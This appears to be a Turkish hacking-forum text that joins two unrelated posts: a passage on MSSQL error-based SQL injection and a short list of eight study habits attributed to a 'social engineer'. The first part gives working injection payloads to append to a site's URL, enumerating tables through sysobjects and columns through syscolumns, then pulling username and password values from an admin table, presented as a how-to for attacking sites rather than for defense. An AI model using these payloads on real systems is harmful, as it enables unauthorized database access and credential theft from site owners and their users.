Linkimizin yanına and 1=convert(int,(select top 1 name from sysobjects where name>’tablo adı’)) ekleyelim.Tablo adı bölümüne Üstteki İlk çıkan tablo adını yazalım ve de diğer tabloyu çıkartalım.

İşte böyle gide gide bulabiliriz.

ya da tablo adı bölümüne a yazalım.Böylece “a” karakterinden büyük olan ilk tablonun adını öğrenebiliriz.

Mesela ben bi ara u yazdım ve de users adlı bi tablo olduğunu fark ettim.

Ama yinede en garantili yok üstteki gibidir.

Şimdi kolon adı bulma,

Örnek tablomuz AdminVerify olsun.

and 1=convert(int, (select top 1 name from syscolumns where colid=1 and id=(select top 1 id from sysobjects where xtype=’u’ and name=’tablo adı’)))

Linkimizin ucuna bunu ekleyelim.Sağ tarafta bulunan tablo adı yerine AdminVerify yazalım.

Böylece AdminVerify adlı tablomuzdan çıkan ilk kolon adını bulabiliriz.

üstteki colid=1 yerini colid=2 yapalım.Böylece 2. kolon adını bulabiliriz.3 yapalım , 3. kolon adını bulabiliriz.

Her şeyi bulduk diyelim.Nasıl username ve pass çıkarıcaz?

and 1=convert(int,(select top 1 KolonADı from Tablo Adı))

Linkimizin yanına bunu ekleyelim.

Kolon adı yerine kolon adımızı (Örnek : ID )

tablo adımızın yerine de tablo adını ( Örnek : AdminVerify)

Sosyal Mühendiste Bulunan Özellikler

S.a/A.s 

Bu Gün Size Bir Sosyal Mühendiste Bulunan Başlıca 8 Özellikten Kısaca Bahsettim.

Sosyal Mühendiste Bulması Gereken 8 özellik;

· Okumak

· Araştırmak

· Not almak

· Özet çıkarmak

· Alıntı yapmak

· Gözlem yapmak

· Dinlemek

· Arşivlemek

Bu Terimler Kısaca Açıklayalım ;

·Okumak        : Tek Kelimeyle “OKUMAK GELİŞMEKTİR”.

·Araştırmak    : Bir Sosyal Mühendis Araştırmalarında Kendi Düşüncelerinide ekleyerek Kaynaklarını Çoğaltır Ve Konu Hakkında Daha Çok Bilgiye Sahip Olur.

·Not Almak     : Not almada amaç, bir bilgiyi, gözlemi ya da izlenimi unutmamayı ve ileride yeniden kullanabilmeyi sağlamaktır.Bu nedenle işlevsellik ve amaçlılık esastır.

·Özet çıkarmak : Uzunca birşeyin, mühim kısımlarının ön planda tutularak, kısaca tanımlanmasıdır.

·Alıntı yapmak : Bir bilimsel çalışma, işlenme eser olduğundan, daha önce yapılmış çalışmalara atıf yapmak ve onlardan alıntı yapmak zorundadır.Tıpkı TÜm Dillerin Bir Birinde Alıntı Olduğu Gibi.

·Gözlem yapmak : Gözlem Yapmak Aslında Araştırmada veri ve bilgi toplama metodlarından biridir.Beceri, sabır ve alışkanlık isteyen bir iştir.

·Dinlemek      : Kısaca Empati Kurmak İçin Dinlemek Gerekir.Söyleneni söyleyenin tarzında, onun anlamında anlayabilmek için Dİnleme Yapılır.Sanıldığı kadar kolay değildir.

·Arşivlemek    : Kısaca Belgeleri sınıflayarak saklama işidir.

Selametle..